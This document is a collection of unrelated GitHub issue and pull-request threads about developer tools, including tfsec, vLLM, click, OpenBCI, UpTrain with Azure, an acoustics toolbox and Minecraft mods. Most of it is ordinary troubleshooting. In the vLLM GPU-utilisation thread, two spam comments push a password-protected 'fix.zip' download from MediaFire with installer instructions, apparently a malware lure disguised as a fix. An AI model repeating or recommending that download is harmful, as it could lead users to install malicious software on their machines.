Template dbank issues

THe template's CSS is collapsing, don't know why. No 404 errors shown in network panel.

Closing as the project has been refactored and this bug issue no longer applies - please see https://github.com/apigee/openbank#previous-versions


Function names should be validated before create

Tried creating a function with the name "sisirap-$Hello/abc\xyz " and i was expecting the function creation to fail however the function creation seemed to be successful, the name of the function was blank in the view.

fixed: Add function name validation #504


Failed to upload configuration files .tfsec, permission denied when combining with remote terraform

This action downloads/creates files that the are not accessible outside of the action step.
When using a remote terraform backend, this leads to an error like
Error: Failed to upload configuration files: open /home/runner/work/orchestration/orchestration/infra/.tfsec: permission denied

with the latest version of tfsec which automatically downloads remote modules https://github.com/aquasecurity/tfsec/releases/tag/v1.15.0
My first attempt to fix this was using .terraformignore to ignore the .tfsec folder. However, it seems like terraform tries a recursive listing of files and directories before applying the .terraformignore. And the .tfsec folder is not executable (listable) for the github action user after running this action.
Workaround is doing terraform init before the tfsec step and adding the --no-module-downloads:
      - name: tfsec
        uses<EMAIL_ADDRESS>        if: github.event_name == 'pull_request'
        with:
          github_token: ${{ github.token }}
          tfsec_args: --no-module-downloads

and making sure I do terraform init before I run this tfsec action.
It would be great if the tfsec action would use a user that allows the github action steps after the docker run to list and/or remove the created .tfsec directory.

Hey @bneijt  - I'll update the permissions tfsec sets on that .tfsec dir - think thats the most appropriate in this case

Hey @bneijt - can you give it a go with tfsec_version: v1.15.2 please?

Apparently terraform also wants to do an lstat on the file, not just list it. So just upgrading to v1.15.2 gives me:
Error: Failed to upload configuration files: lstat /home/runner/work/orchestration/orchestration/infra/.tfsec/downloaded-modules: permission denied

I then tried adding a .terraformignore in my infra/ folder:
.tfsec/
.*

, but I still get the same error as above. I guess terraform wants to list and lstat everything before it goes through the ignore??
Maybe that should be the real bug here.
Lastly I tried adding:
      - name: rm tfsec
        run: rm -rf infra/.tfsec

just after the tfsec step and that resulted in rm: cannot remove 'infra/.tfsec/downloaded-modules': Permission denied.

I don't have access to the github pipeline that was had this issue, so there is no easy way for me to quickly test this. I'll close this issue, if somebody still encounters this with the newest release they can re-open it. Thank you for your response!


difficulty in undertsanding the paper

Hi @mahfuzmohammad:
Thank you for sharing the fantastic work! I am an undergraduate student studying utilizing GAN for anomaly detection. While reading your paper, I find it difficult to follow the idea of using attention masks. Would you mind sharing some literature to help me understand this idea? Thank you so much!

Hi. I appreciate your interest. You may check out this nice survey paper https://arxiv.org/pdf/2204.07756.pdf
The mask in HealthyGAN is, however, much simpler.
I hope it helps.


[Usage]: Why does the GPU utilization fluctuate so much?

Your current environment
I'm using 8 A100 GPUs with 40GB each to deploy LLaMA 3 70B. Under high concurrency, the average GPU utilization is only 50%. Why does the GPU utilization fluctuate so much? Here are my launch parameters.
'''CUDA_VISIBLE_DEVICES={gpu} RAY_memory_monitor_refresh_ms=0
python3 -u -m vllm.entrypoints.api_server --trust-remote-code
--gpu-memory-utilization 0.98
--dtype float16
--enforce-eager
--swap-space 16 --disable-log-requests --host <IP_ADDRESS> --port {port} --max-num-seqs 512 -tp {tp} --max-model-len 8192
--model {model_path} '''
vllm==0.5.4
How would you like to use vllm
I want to run inference of a [specific model](put link here). I don't know how to integrate it with vllm.
Before submitting a new issue...

[X] Make sure you already searched for relevant issues, and asked the chatbot living at the bottom right corner of the documentation page, which can answer lots of frequently asked questions.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

is this same with #7768 ?


NativeError hides underlying error

NativeError.printStackTrace() is almost completely useless because it doesn’t include the stack trace of the underlying error, which is the most important part.

Here’s a first rough patch that’s good enough for me, but probably not good enough for inclusion:
diff --git a/language/runtime-js/NativeError.js b/language/runtime-js/NativeError.js
index 2a57528..eb6724a 100644
--- a/language/runtime-js/NativeError.js
+++ b/language/runtime-js/NativeError.js
@@ -9,8 +9,13 @@ function NatErr(e) {
         msg = "Native JavaScript Error";
     }
     Throwable(msg,null,that);
+    that.$naterr = e;
     return that;
 }
 initTypeProto(NatErr, 'ceylon.language::NativeError', $init$Throwable());
+NatErr.$$.prototype.printStackTrace = function() {
+    console.error(this.$naterr);
+    Throwable.$$.prototype.printStackTrace.apply(this);
+}
 NatErr.$crtmm$=function(){return{nm:'NativeError',mt:'c',ps:[{$t:{t:Throwable},nm:'src',mt:'prm'}],pa:1,mod:$CCMM$,d:['$','Throwable']};}
 ex$.NatErr=NatErr;

Open questions:

Is this the right way to override a function or is there some utility function updateProto$ or whatever that I’m not aware of?
Is it correct to do this in NatErr.printStackTrace instead of the toplevel printStackTrace function? (Consider that the native stack trace can look completely different from the Ceylon one, and the callback for printStackTrace(error, write) might be confused by that.)
Is it correct to use console.error?
Should the second (outer) stack trace be printed at all? Or should the call to the original printStackTrace be removed?

@chochos any comments?

There's no updateProto. The $init$<Type> functions generated by the compiler do basically the same thing: add stuff to the <Type>.$$.prototype.
You should use process.writeError instead of console.error (well in native JS it's $_process().writeError)
It's probably better to override the method in this case because it's a NativeError...


Page - Messaging Architecture Overview

The "Messaging Architecture Overview" page (https://developer.nhs.uk/apis/ems-beta/explore.html) could benefit from the following changes:

The url could do with updating to match the page title which helps find the page if someone new needs to update the page in future, "explore" -> "msg_architecture_overview"

The "Message Patterns and Message Structure" and "Events" sections could do with being broken up a little bit to help group concepts and explain them in a slight bit more depth. It seems a bit crushed together at the moment, jumping from one thing to another. For example the first paragraph talks about publishing and the concept of subscriptions but does not mention the passing on of events to subscribers, the events section starts by repeating that events will be sent by providers.

The diagram is too fucused on DCH and and could be simplified to just the NEMS function, event message, NEMS, scubscribers and messages being distrubuted. There is probably no need to have the events catalogue or specific types of providers or consumers on this diagram, they probably go into other bits of the spec.

The inclusion of the "Event message data item requirement notation" section with definition of Mandatory, Required and Optional does not seem to fit on this page and seems a bit out of place. It should really be with the event and resource population guidance.

I agree with all the comments here. The page needs to be updated, I'll take an action to do this.

I have made some updates for the additional points and changed the diagram. Changes committed to the "feature/introduction_page_updates"
@bushra  could you review the changes, thanks

Feedback from DF -
•	I like the Event Message Flow diagram but it might be worth adding MESH for completeness.
•	For the Messaging Pattern a link could be provided to our Integration Patterns pages https://developer.nhs.uk/library/architecture/integration-patterns/
•	I’d be inclined to remove the comment regarding delivery of event messages via channels other than MESH. If we introduce other channels, NHS Mail, REST API we can update the specification accordingly.

I have done all the changes as per the feedback and pushed it to the "develop" branch.
In the diagram I have just put the message going through MESH and not included the MESH api or other otpions as the link to the MESH information gives the reader options around the different ways to access the mesh mailbox, API or Java App which pulls the mesh mail to a local directory without the supplier directly using the MESH API.

Changes have been reviewed and after a couple of tweaks to the page, is complete and ready for release.


Fuel Unit Confusion

In the DDU Fuel box, it seemed that remaining fuel was being reported in liters, and per lap usage reported in gallons.
The unit next to the number was 'gl'.
I am using imperial units in iracing.

Good catch, thanks! Will be fixed in the next update.


Should pass_context be updating co_argcount?

After upgrading from click 4.1 to click 6.6 (python 3.5, which may be relevant), I started getting a strange error message:
$ my_click_program
/path/to/project/venv/lib/python3.5/dist-packages/click/core.py:874: Warning: Invoked legacy parameter callback "<function my_function at 0x7f3004ecfd08>".  The new signature for such callbacks starting with click 2.0 is (ctx, param, value).
  value, args = param.handle_parse_result(ctx, opts, args)

I tracked this down to a CLI argument callback function that was wrapped with @pass_context. The quick fix is to remove that decorator, but in the interest of finding a root cause, I noticed that @pass_context appears to update the wrapped function metadata incorrectly. Specifically, the callback invoker looks for callback.__code__.co_argcount and expects it to be either completely missing or at least 3. Passing a callback through pass_context wipes away the argcount.
ipdb> n
> /path/to/project/venv/lib/python3.5/site-packages/click/decorators.py(19)pass_context()
     17     def new_func(*args, **kwargs):
     18         return f(get_current_context(), *args, **kwargs)
---> 19     return update_wrapper(new_func, f)
     20
     21

ipdb> g = update_wrapper(new_func, f)
ipdb> g
<function my_function at 0x10860bea0>
ipdb> g.__code__
<code object new_func at 0x107947270, file "/path/to/project/venv/lib/python3.5/site-packages/click/decorators.py", line 17>
ipdb> g.__code__.co_argcount
0
ipdb> f.__code__.co_argcount
3

I don't know enough about Python to tell whether this is a bug in the update_wrapper function or a bug in click, or neither. It's clear that I shouldn't have placed pass_context on the callback in the first place, but I thought I'd let you folks know, in case it actually is a bug in click.

You should not have to use pass_context in that way since the context is already passed for parameter callbacks.
It might be that this applies for your own pass decorators (make_pass_decorator), but I'm not sure if those work in this context anyway.

@untitaker I know now that I shouldn't use it, but this was some old code that I didn't even write, and for whatever reason in click 4.1 it produced no warning message.

It might be that this applies for your own pass decorators (make_pass_decorator), but I'm not sure if those work in this context anyway.

I don't know what make_pass_decorator is. From my perspective, click is expecting some attribute on a function to be properly set, and this is an instance where click code unsets that data. Now that I think about it, it seems reasonable that update_wrapper can't know what the new argument count will be (in this case it's increased by 1 based on logic unknownto update_wrapper), so pass_context should be responsible for updating the co_argcount. Maybe a line like the following is enough:
g = update_wrapper(new_func, f)
g.__code__.co_argcount = 1 + f.__code__.co_argcount
return g

This warning happens because the click decorators don't modify the function signature such that the wrapper function matches the wrapped one. Python still lacks a clean way to do this: http://blog.dscpl.com.au/2014/01/how-you-implemented-your-python.html

I don't think this is relevant any more. The legacy behavior you were seeing a warning about is removed in 8.0. pass_context seems to work correctly. If you have a reproducible example I can take a look again.


raise OSError('Cannot find OpenBCI port')

Hello, after turning on my Ganglion board and dongle, I run the command:
python openbci_lsl.py --stream
and it outputs the following:
-------INSTANTIATING BOARD-------
Traceback (most recent call last):
File "openbci_lsl.py", line 56, in
main(sys.argv[1:])
File "openbci_lsl.py", line 40, in main
lsl = streamerlsl.StreamerLSL(GUI=False)
File "C:\Program Files\MATLAB\OpenBCI_LSL\lib\streamerlsl.py", line 46, in init
self.initialize_board(autodetect=True)
File "C:\Program Files\MATLAB\OpenBCI_LSL\lib\streamerlsl.py", line 59, in initialize_board
self.board = bci.OpenBCIBoard()
File "C:\Program Files\MATLAB\OpenBCI_LSL\lib\open_bci_v3.py", line 77, in init
port = self.find_port()
File "C:\Program Files\MATLAB\OpenBCI_LSL\lib\open_bci_v3.py", line 574, in find_port
raise OSError('Cannot find OpenBCI port')
OSError: Cannot find OpenBCI port
Does anyone know how to solve this error?

Hello,
You have to specify that you are using a ganglion board with the flag --board ganglion and if the detection of the MAC address fails, you then should specify it -p. All the options are (hopefully) described in the help python user.py -h :)

How do you find the [port] for your device? I have a Ganglion.

Also, how do I change the init function in open_bci_v3.py to establish a serial connection in Windows?

My bad, I overlooked that you are using windows: at the moment only linux
is supported, due to the python library used to handle BLE connections.
Sorry :\
If case you want to give Linux a try (through a virtual machine or by
installing a distribution on a live usb key for exemple), the "port" in
case of the Ganglion is not really a port, it is the mac address of the
device, that you should see when you can for bluetooth devices on your
machine.
Best,
Jeremy
On Sun, Apr 15, 2018 at 1:13 AM, Digital Green Tea<EMAIL_ADDRESS>
wrote:

Also, how do I change the init function in open_bci_v3.py to establish
a serial connection in Windows?
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/OpenBCI/OpenBCI_Python/issues/63#issuecomment-381364394,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAJfEI-lJThn_UxhDFNVNGmVVZhnt9Ggks5tonR5gaJpZM4TU33b
.

I am using OpenBCI Cyton board. when I use this code:
from pyOpenBCI import OpenBCICyton
def print_raw(sample):
print(sample.channels_data)
board = OpenBCICyton(port=None, daisy=False)
board.start_stream(print_raw)
I get this error:  raise OSError('Cannot find OpenBCI port.')
OSError: Cannot find OpenBCI port.


[BUG] When query param includes '/'

To Reroduce:

Send a request with '/' as part of the value of a query param, example:
http://localhost:8080/request?param=first/part

Expected:
Metrics for the request has route=/request
Actual:
Metrics for the request has route=/request?param=first/part/request

This bug started to occur since v2.1.3


[YouTube] ...

Extension – YouTube
Author: @tonka3000

Description

Error:

Steps To Reproduce

The current behavior
The expected behavior
Raycast version
Version: 1.43.2

Closing due empty report, feel free to update it and I'll be happy to reopen 😊


stop badge flashing when looking at a convo w/ incoming msgs

@keybase/react-hackers

if you're in a convo and you setup a terminal to spam you w/ messages you'll see the badge doens't go from 1/0/1/0 quickly like it does on master

Just curious -- since it's a little undesirable to have new messages show up 1s before the badge does, did you do any measuring of how long it takes to go from a badge of 1 to a badge of 0, to try to optimize that number a bit for most people?

@cjb I did not. Just keeping things simple and didn't want to make any assumptions. If we feel like this is a really big problem and hurting us then we can do something more complex. I think with badging there isn't an expectation of it being realtime on most platforms so having a lag of 1 second seems fine (you'll also get system notifications and stuff like that as well)


keep output files in ffindex format

Keep the contents of each folder (AB/, CM/, PDB/, log/) as a ffindex database.
This way we will have 2 files per folder, instead of thousands.

script to do it periodically. i.e. generate files as they are generated now, so that it is easier to transfer them to Simons. Once they're transferred, run a script which takes all a3m, etc. files and puts them in an ffindex database.
Have another script to read specific sequences from ffindex.

ffindex example: https://github.com/soedinglab/ffindex_soedinglab


Backend

Hello Ello Team!
I wonder if there's self-hosted backend for this application?
At least let us self-host the api :P

Sorry, man, our API stack is way too much trouble to setup (Kinesis, Elixir, Rails, Postgres, Redis, etc).  If we made it available as a self-hosted option we'd spend too much time supporting people trying to set it up!


Clean up unused labels in the repository

Description of the issue
There are several labels that are not used in the repository, or are duplicates. We need to clean these up as they may lead to confusion
Acceptance criteria

[ ] Unused/duplicated etc labels have been identified and deleted

@ESapenaVentura are there any specific labels that need attention or cleanup? If not, I believe this can be closed.

@ESapenaVentura can we close this?

Sure, I think it's been done as part of other conversations


Azure LLM evaluation - Deployment Error

Describe the bug
Trying to use an Azure API Key to run a LLM evaluation using UpTrain. I received a 404 error message saying that the deployment is not found. However, there is no deployment name parameter when creating the settings for the Eval LLM.
To Reproduce
I followed the steps in this documentation: https://docs.uptrain.ai/llms/azure
Error message:
ERROR    | uptrain.operators.language.llm:async_process_payload:103 - Error when sending request to LLM API: Error code: 404 - {'error': {'code': 'DeploymentNotFound', 'message': 'The API deployment for this resource does not exist. If you created the deployment within the last 5 minutes, please wait a moment and try again.'}}

I don't think this is a bug, just looks like a documentation update would be helpful.  The Azure OpenAI term "deployment" usually translates to "model" in other frameworks.  The following works for me:
 settings = Settings(model = 'azure/{}'.format(deployment_name),                      azure_api_key=os.getenv('API-KEY'),                      azure_api_version=api_version,                      azure_api_base=endpoint_url) eval_llm = EvalLLM(settings)

Hello there.
That library seems great, but I still face issues when I try to sync with my Azure credentials.
None of the relevant comments did help me.
Can you please check for any inconsistency?
{
"name": "ValueError",
"message": "OpenAI API Key is invalid",
"stack": "---------------------------------------------------------------------------
ValueError                                Traceback (most recent call last)
Cell In[5], line 5
1 settings = Settings(model = 'azure/{}'.format('gpt-4'),
2                     azure_api_key=os.getenv('AZURE_OPENAI_API_KEY'),
3                     azure_api_version=os.getenv('OPENAI_API_VERSION'),
4                     azure_api_base=os.getenv('AZURE_ENDPOINT'))
----> 5 eval_llm = EvalLLM(settings)
File ~/miniconda3/envs/eval/lib/python3.9/site-packages/uptrain/framework/evalllm.py:101, in EvalLLM.init(self, settings, openai_api_key)
99     response = check_openai_api_key(self.settings.openai_api_key)
100     if not response:
--> 101         raise ValueError("OpenAI API Key is invalid")
103 self.executor = APIClientWithoutAuth(self.settings)
ValueError: OpenAI API Key is invalid"
}

This is failing when you check for an OpenAI key. The check_openai_api_key only checks if the key is valid using openai.
def check_openai_api_key(api_key):

    import openai
    client = openai.OpenAI(api_key=api_key)
    try:
        client.models.list()
    except openai.AuthenticationError:
        return False
    else:
        return True

Needs to also use the AzureOpenAI class to do the check.

Great, I replaced that part with the corresponding part regarding AzureOpenAI check.
from openai import AzureOpenAI

client = AzureOpenAI(
        api_key = openai_api_key,
        api_version=openai_api_version,
        azure_endpoint=openai_azure_endpoint,
            )

@terry07 Could you please help in How you are passing client to EvalLLM class

@terry07 Could you please help in How you are passing client to EvalLLM class

@I would also appreciate to know how to execute this code properly!

I'm using the following workaround until this issue is fixed:
from uptrain import EvalLLM, Settings
from uptrain.framework.remote import APIClientWithoutAuth

class EvalLLMWorkaround(EvalLLM):
	def __init__(self, settings: Settings) -> None:
		if (openai_api_key is None) and (settings is None):
			raise Exception('Please provide OpenAI API Key')

		if settings is None:
			self.settings = Settings(openai_api_key=openai_api_key)
		else:
			self.settings = settings

		self.executor = APIClientWithoutAuth(self.settings)

OPENAI_API_KEY = "sk-********************"  # Insert your OpenAI key here
eval_llm = EvalLLMWorkaround(openai_api_key=OPENAI_API_KEY)

or
from uptrain import EvalLLM, Settings
from uptrain.framework.remote import APIClientWithoutAuth

class EvalLLMWorkaround(EvalLLM):
	def __init__(self, settings: Settings) -> None:
		self.settings = settings
		self.executor = APIClientWithoutAuth(self.settings)

# ...

`azure_endpoint = os.getenv("AZURE_OPENAI_API_BASE")
azure_api_version = os.getenv("OPENAI_API_VERSION")
azure_api_key = os.getenv("AZURE_OPENAI_API_KEY")
from uptrain import EvalLLM, Evals, CritiqueTone, Settings
settings = Settings(model ='azure/{}'.format('AIF_V2'), azure_api_key=azure_api_key, azure_api_version=azure_api_version, azure_api_base=azure_endpoint)
eval_llm = EvalLLM(settings)`
above code works for me for AzureLLM integration with uptrain


Failed to build docker image

Failed to build docker image.  Part of the log is shown below.
raise ImproperlyConfigured(
django.core.exceptions.ImproperlyConfigured: Invalid environment configuration: contact email must be specified (variable CONTACT_EMAIL), service name must be specified (variable SERVICE_NAME), primary hostname must be specified (variable PRIMARY_HOSTNAME), default PostgreSQL database name must be specified (variable DB_NAME), database username must be specified (variable DB_USER), database user credential must be specified (variable DB_SECRET), default database server hostname must be specified (variable DB_HOST), default database server port number must be specified (variable DB_PORT), Django secret must be set (variable DJANGO_SECRET), Redis server host must be specified (variable REDIS_HOST), Redis server port must be specified (variable REDIS_PORT)
The command 'python manage.py collectstatic --noinput' returned a non-zero code: 1

The command to build static assets has been moved into Dockerfile.  However, it will check the existence of environment variables.  There is no need to check the existence of environment variable when building the docker image.

It’s not supposed to work yet. Now that we build only on new tags, I am pushing work in progress to master whenever I can.


:robot: Update Annotation Submodule for Release v1.2.4

Automated changes by create-pull-request GitHub action.
Updates the annotation submodule in this repository for release v1.2.4

Added a revision bump and a removed a workflow. That Mutect2 workflow is no longer maintained, and the main tumor only workflow, through switches is actually maintained, and able to run mutect2 solo. Therefore, to simplify code maintenance and avoid users using an obsolete workflow, I have removed it.


Why final checkpoint is removed in run_voc.sh script?

Hello @er-muyue,
I have a small doubt, in the novel fine-tuning stage in run_voc.sh script, could you kindly tell why are you removing the model_final.pth file. If you are removed this, you would lose the trained weights. But, still in evaluation you get nice result, how is this possible? I am really confused. Any help from anyone would be really appreciated.
DeFRCN/run_voc.sh
Line number: 38

Have you solve this problem?


Add prepare-release gh action that bump versions and create PR

This is a starting action to prepare the new release. It’s all about keeping things simple: manually triggered, bumps versions, and creates a PR ready for the next steps.
Here’s the Plan:

Kickoff - I trigger prepare-release gh action.
Writing release note - This Action bumps our version and creates a PR automatically. I'll dive in to add release notes right there, updating our docs in the process.
Merge to main - After tweaking the docs and ensuring everything’s on point, we merge into the main branch.
Deployment Automation - I’m setting up four more Actions to automate our deployment process:
release-rust.yml
release-javascript.yml
release-python.yml
release-docs.yml
These Actions will kick in when commits are pushed to the release branch, taking care of both package and documentation deployment.

May be we can try release note writing automation in the future. for now, I'll do it by myself. With this automation, I expect that we can release the new version quite more often than now :D

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 98.343%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
54493

Relevant Lines:
55411

💛  - Coveralls


new Text() with style property causes Sketch to crash

When creating a new Text() instance with a style property, the generated Sketch file crashes when opened.
It seems that the args.style is causing it:
{
  ...
  style:
    args.style || Style.TextStyle({
      fontName: args.fontName,
      fontSize: args.fontSize,
      alignment: args.alignment,
      verticalAlignment: args.verticalAlignment,
      color: args.color,
    }),
  ...
}

It seems to work fine if I wrap the args.style in Style.TextStyle(), but I haven't tested it through...
{
  ...
  style: Style.TextStyle(args.style || {
    fontName: args.fontName,
    fontSize: args.fontSize,
    alignment: args.alignment,
    verticalAlignment: args.verticalAlignment,
      color: args.color,
  }),
  ...
}

:tada: This issue has been resolved in version 1.2.3 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


build: remove .js from imports

see #681

fyi there's overlap with https://github.com/latticexyz/mud/pull/679 as I'm heavily refactoring config and also removing .js there and in a few other places

fyi there's overlap with #679 as I'm heavily refactoring config and also removing .js there and in a few other places

it'd be great to pull this out sooner to help with #681 and to not block on the plugin system, which might take some time to refine/finalize

cc @smallbraingames

Just tested this with the example project and everything seems to be working and CI passed, so this is probably good to merge as-is as an improvement, but unclear if it fixes #681 yet.


Update config.ts

The link for directly editing docs content is broken (points to wrong branch main which now seems to be master)

Thanks!


Add mobile menu Popoup on Mobile Hamberger Menu

Created App.JS Javascript file. Included Script in Index.html file. Modified my styles.css files for styling popup menu. All files included, this project has been completed in collaboration with my Coding partner Kelvin Irungu.

Suggested changes have been made and submitting it for review again


feat(ci): disable testing of node versions below 4

Remove active testing of node versions below 4

Whoops, pushed to the wrong remote


Against #9596: System Font Stacks @font-face

This affirmation is against (my own affirmation) #9596 which was merged here => #9644
https://css-tricks.com/snippets/css/system-font-stack/#article-header-id-2

The limitation of the first method is that you have to call the full stack of fonts each time it's used on an element and that can get cumbersome and bloat your code, depending on where and how it's used.
Jonathan Neal offers an alternative method where system fonts are declared using @font-face.

Biggest benefit of the below code i feel is that designers/developers can use this in simple css instead of using sass for such tasks,
and thus can be used in css-only projects also!
body {
  font-family: "system";
}

Please Note that @jonathantneal's full example illustrates the capability to define variations of the system font family to account for italics, bolding, and additional weights.
=> https://github.com/jonathantneal/system-font-css/blob/gh-pages/system-font.css

https://jonathantneal.github.io/system-font-css/

Is system going to be a thing?
Maybe. There are discussions in the W3C to standardize a generic system family.

Apple proposes adding a new generic font-family named "system".
body {
  font-family: "system";
}

Poke @kball @brettsmason !

We'll discuss this for F7.


Create site on CI to make sure template builds correctly

In #50 I introduced a bug in the template by using layout instead of wrap_layout.
This commit adds steps to the test run on Travis to generate an example site. This would've caught the bug before merging.

It's green!


Add support EC certificate generation

Currently JrCs/docker-letsencrypt-nginx-proxy-companion support only default RSA certificate generation.
It would be great if you could add support EC-256/EC-384 certificate generation.

Hi. That's tied to the ACME client being used (simp_le) which does not support EC cert generation for now.

Can you be more specific why this can't be done?
https://letsencrypt.org/docs/integration-guide/ < Let’s Encrypt accepts RSA keys from 2048 to 4096 bits in length, and P-256 and P-384 ECDSA keys.

As told in my previous message we don't use certbot but simp_le.

https://github.com/Neilpang/acme.sh. This seems to support it and be easy to use.
Is there something I can do on my side to make you serve a ECC certificate? If I generate them outside of the container and replace it, something like that?
Thanks!

I'm currently pretty much the only regular contributor to this project and I work on this on my free time, which I don't have much of.

I understand. Thanks for what you do, we really appreciate it :heart_eyes:
I'm not good with nginx syntax at all, but I have experience with docker and bash so If that helps I can help you implement a better ACME client. Let me know.

Changing the client without breaking anything and maintaining downward compatibility is not a trivial task

My quick workaround I had in mind was just generating the ECC certificates outside of your container, and then overwriting the files.

Woops sorry, forgot about the second message.
You can obtain your ECDSA certificates separately and use them with nginx-proxy without issue, you'll just have to follow nginx-proxy doc for SSL support.

The contents of /etc/nginx/certs should contain the certificates and private keys for any virtual hosts in use. The certificate and keys should be named after the virtual host with a .crt and .key extension. For example, a container with VIRTUAL_HOST=foo.bar.com should have a foo.bar.com.crt and foo.bar.com.key file in the certs directory.

ECDSA is already enabled in the default cipher suite generated by nginx.tmpl so that should work out of the box.
On a side note, please be aware that the LE companion and nginx-proxy are two completely separate projects even if one is meant to work with the other. The two are maintained by different peoples, and I can't really handle nginx-proxy specific issue or assistance. The LE companion is pretty must "just" an automated ACME certificate manager. The actual proxying, nginx configuration, etc, that's on nginx-proxy side.


Kickthemout displays nothing on certain types of wifi networks

Everything is working and updated as I just now installed Kickthemout. It works on some networks but not others:

Hi there. On what type of Wi-Fi was the second screenshot captured on? Did you try pressing ^C?


Make handling of t consistent

The time t is handled in some functions in samples and in others in seconds. To avoid confusions like the one of #108, we should make this more consistent. My proposal would be to switch completely to t in seconds as we also do in the Python version.
So, let's start with a list of all the functions that uses t in samples which should be reviewed if we easily could change them:

[x] delayline()
[x] warning_if_zero()
[x] greens_function_imp()
[x] sound_field_imp_line_source()
[x] sound_field_imp_localwfs()
[x] sound_field_imp()
[x] sound_field_imp_nfchoa()
[x] sound_field_imp_plane_wave()
[x] sound_field_imp_point_source()
[x] sound_field_imp_wfs()
[x] time_response_wfs()
[x] time_response_localwfs()
[x] time_response_nfchoa()

In addition we have a few functions that use samples, but in those cases it is not directly referring to the time t, but to something like filter length. For those I would propose to stay with samples, but we should also review them:

[x] dummy_irs()
[x] general_least_squares()
[x] hann_window()

As a first step it would be great to check, if I have missed some function in the listing.

I have no updated all functions I was able to identify that used t in samples to use t in seconds instead.
for the user the biggest change will be in the sound_field_imp related functions as there t must be provided. What will be much easier now is the incorporation of the returned delay_offset values as they now always are in seconds and can directly be applied.
The three functions I listed above that still use samples instead of seconds should stay with this in my opinion.
@fietew: could you please have a look at my changes.

Just a short note about the handling of this changes: As @hagenw already mentioned, this pull request will have quite an impact on the behavior of the time-domain functionalities. I would suggest to create a minor release (2.2.x) right before and right after merging this pull request. This enables the correct referencing of the used implementation, e.g. in scientific publications.

OK, I agree, we should first make a release, then integrate and then make another release.

One additional thing: Under MATLAB, I had problems to execute test_plot(true):
Attempt to execute SCRIPT test_plot as a function:
/home/winter/projects/sfstoolbox/test_plot.m

trying test_plot without argument got me this single plot

After I switched to the validation directory, everything worked as expected. If think, there is some kind of naming issue. Can somebody else test the function under MATLAB?

@chris-hld could you please verify if you can reproduce the test_plot problem under Matlab.
Maybe we should simply rename that function.

Maybe we should simply rename that function.
I agree.

No, I cannot recreate that problem.
Executing:
SFS_start; test_plot() ,
results in correct Not enough input arguments..
Is there maybe another test_plot()  in your path?

Let's just rename the function in order to finally merge this pull request.

I renamed the function to test_plotting().
Unfortunately we are not ready for merging as the documentation (files under doc/) has to be adjusted. I will have a look at it.

I have updated the documentation.
@chris-hld could you please run generate_plots and push only the following files afterwards:
sound_field_imp_nfchoa_25d.png
sound_field_imp_nfchoa_25d_dB.png
sound_field_imp_multiple_sources_dB.png

@fietew could you please run the test_all a last time to see if still everything is working.
After that we should be ready to merge.

test_all finished without significant errors (beside to_be_implemented).
Looking at the plots:
test_colormaps: In the time-domain plots, there is no soundfield visible. Wrong d

Thanks, there was indeed one time given in samples left. I have fixed test_colormaps() now.

That should be it

I have cleaned up the history of this and included it into master as seven different commits.


crash while loading Minecraft

I get this crash when I load Minecraft, I'm not sure what causes it. http://pastebin.com/FpAaZHFw

I'm afraid I don't know either, the vanilla code that Is used for generating MC Models is crashing when FCB calls it, maybe try different mod combinations?
I'd suggest starting by trying without optifine, and then maybe some of the mods with coremods to see if you can track down whatever seems to be causing vanilla code to break when used by FCB.

I will do it tomorrow because here I'm tired and I have to wake up early, I will try to find what causes the problem.

Okay I think that the problem comes from the new version of Extra Utilities.

I can confirm that it is Extra Utilities 2. I had the same crash and rolling alpha-1.1.0a back to alpha-1.0.1 fixed the crash

same crash here

In fact 3 mods are involved in the crash, the crashes happens only if Optifine is present. It is exactly the same kind of crash than with RandomThings. https://github.com/lumien231/Random-Things/issues/142

Found the problem, it only happens with mods which use delayed sprite registration.
Updated preview OptiFine C4 with a bugfix.


Fix Scm Credentials Slot Name Validation

Fixes #67 and #65

During commit fa15148 there was an additional check added for this._scmCredentials. I think this was meant to check for the existance of an uri in the scmCredentials, @Hazhzeng could you please clarify this?
I don't see any issue when doing slot deployments using zip deploy with a service principal instead of an publish profile. Please let me know if I'm missing something.

Thanks @TimoWilhelm, you're right, this is something that I miss in the action. Thanks for the contribution and I will merge your PR.


ERROR - spectrum_io.file.hdf5::write_dataset value too large to convert to int

Hi @picciama
I'm using Oktoberfest to generate a prosit library using a semi tryptic library of uniprot proteome. Here is the output including the error.
2024-02-06 08:43:03,224 - INFO - oktoberfest.utils.config::read Reading configuration from /data/scribe_analysis/spectral_library_config.json
2024-02-06 08:43:51,924 - INFO - spectrum_io.spectral_library.digest::get_peptide_to_protein_map Digesting protein 10000
2024-02-06 08:44:39,633 - INFO - spectrum_io.spectral_library.digest::get_peptide_to_protein_map Digesting protein 20000
2024-02-06 09:10:19,315 - INFO - oktoberfest.preprocessing.preprocessing::process_and_filter_spectra_data No of sequences before filtering is 106425486
2024-02-06 09:21:45,798 - INFO - oktoberfest.preprocessing.preprocessing::process_and_filter_spectra_data No of sequences after filtering is 80469771
2024-02-06 09:43:23,306 - ERROR - spectrum_io.file.hdf5::write_dataset value too large to convert to int
Traceback (most recent call last):
File "/usr/local/lib/python3.8/site-packages/spectrum_io/file/hdf5.py", line 123, in write_dataset
data.to_hdf(path, key=dataset_name, mode=mode, complib=compression)
File "/usr/local/lib/python3.8/site-packages/pandas/core/generic.py", line 2799, in to_hdf
pytables.to_hdf(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 301, in to_hdf
f(store)
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 283, in
f = lambda store: store.put(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 1123, in put
self._write_to_group(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 1776, in _write_to_group
s.write(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 3256, in write
self.write_array(f"block{i}_values", blk.values, items=blk_items)
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 3100, in write_array
vlarr.append(value)
